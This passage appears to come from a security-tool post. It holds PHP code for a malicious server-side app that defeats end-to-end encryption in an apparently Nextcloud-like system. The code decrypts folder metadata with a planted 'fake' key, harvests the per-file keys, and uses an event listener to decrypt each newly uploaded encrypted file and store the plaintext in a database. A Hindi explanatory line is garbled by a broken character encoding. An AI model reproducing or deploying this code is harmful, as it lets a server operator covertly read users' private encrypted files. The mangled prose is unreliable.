$ciphertext = substr($ciphertextAndTag, 0, -16);
$nonce = base64_decode($metaData->metadata->nonce);
$gzippedPlaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
/* If we succeed, store the decrypted metadata */
if ($gzippedPlaintext) {
$decodedMetadata = json_decode(gzdecode($gzippedPlaintext));
foreach ($decodedMetadata->files as $encryptedFilename => $file) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setEncryptedFilename($encryptedFilename);
$metadataEntity->setKey($file->key);
$metadataEntity->setKey($file->key);
$metadataEntity->setNonce($file->nonce);
$metadataEntity->setAuthenticationTag($file->authenticationTag);
$metadataEntity->setFilename($file->filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setKey($file->key);
$newMetadata->setNonce($file->nonce);
$newMetadata->setAuthenticationTag($file->authenticationTag);
$newMetadata->setFilename($file->filename);
$this->metadataMapper->insert($newMetadata);
}
}
foreach ($decodedMetadata->folders as $encryptedFilename => $filename) {
try {
$metadataEntity = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
$metadataEntity->setFilename($filename);
$this->metadataMapper->update($metadataEntity);
} catch (DoesNotExistException $ex) {
$newMetadata = new Metadata();
$newMetadata->setFolderId($id);
$newMetadata->setEncryptedFilename($encryptedFilename);
$newMetadata->setFilename($filename);
$this->metadataMapper->insert($newMetadata);
}
}
}
}
рдЕрдВрдд рдореЗрдВ, рд╣рдо рдирдИ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдП рдЬрд╛рдиреЗ рдкрд░ рдПрдХ рд▓рд┐рд╕рдирд░ рдмрдирд╛рддреЗ рд╣реИрдВ, рдФрд░ рдбрд┐рдХреНрд░рд┐рдкреНрдЯреЗрдб рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдореЗрдВ рдкрд╛рдИ рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред
root@kitploit:~
class NodeCreatedListener implements IEventListener {
private MetadataMapper $metadataMapper;
private PlaintextMapper $plaintextMapper;
public function __construct(MetadataMapper $metadataMapper, PlaintextMapper $plaintextMapper) {
$this->metadataMapper = $metadataMapper;
$this->plaintextMapper = $plaintextMapper;
}
public function handle(Event $event): void {
if (!($event instanceof NodeCreatedEvent)) {
return;
}
$node = $event->getNode();
$encryptedFilename = preg_replace('/\.e2e-to-save$/', '', $node->getName());
if ($node instanceof File) {
$curr = $node;
while (!($curr instanceof Root)) {
$curr = $curr->getParent();
$id = $curr->getId();
try {
$metadata = $this->metadataMapper->getByFolderIdAndEncryptedFilename($id, $encryptedFilename);
} catch (DoesNotExistException $ex) {
continue;
}
/* Metadata found: try to decrypt */
$key = base64_decode($metadata->getKey());
$nonce = base64_decode($metadata->getNonce());
$authenticationTag = base64_decode($metadata->getAuthenticationTag());
$ciphertext = substr($node->getContent(), 0, -16);
$plaintext = openssl_decrypt($ciphertext, "aes-128-gcm", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING, $nonce, $authenticationTag);
if ($plaintext) {
/* Decryption successful. Store in DB */
try {
$plaintextEntity = $this->plaintextMapper->getById($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->update($plaintextEntity);
} catch (DoesNotExistException $ex) {
$plaintextEntity = new Plaintext();
$plaintextEntity->setId($metadata->getId());
$plaintextEntity->setPlaintext($plaintext);
$this->plaintextMapper->insert($plaintextEntity);
}
break;
}
}
}
}
}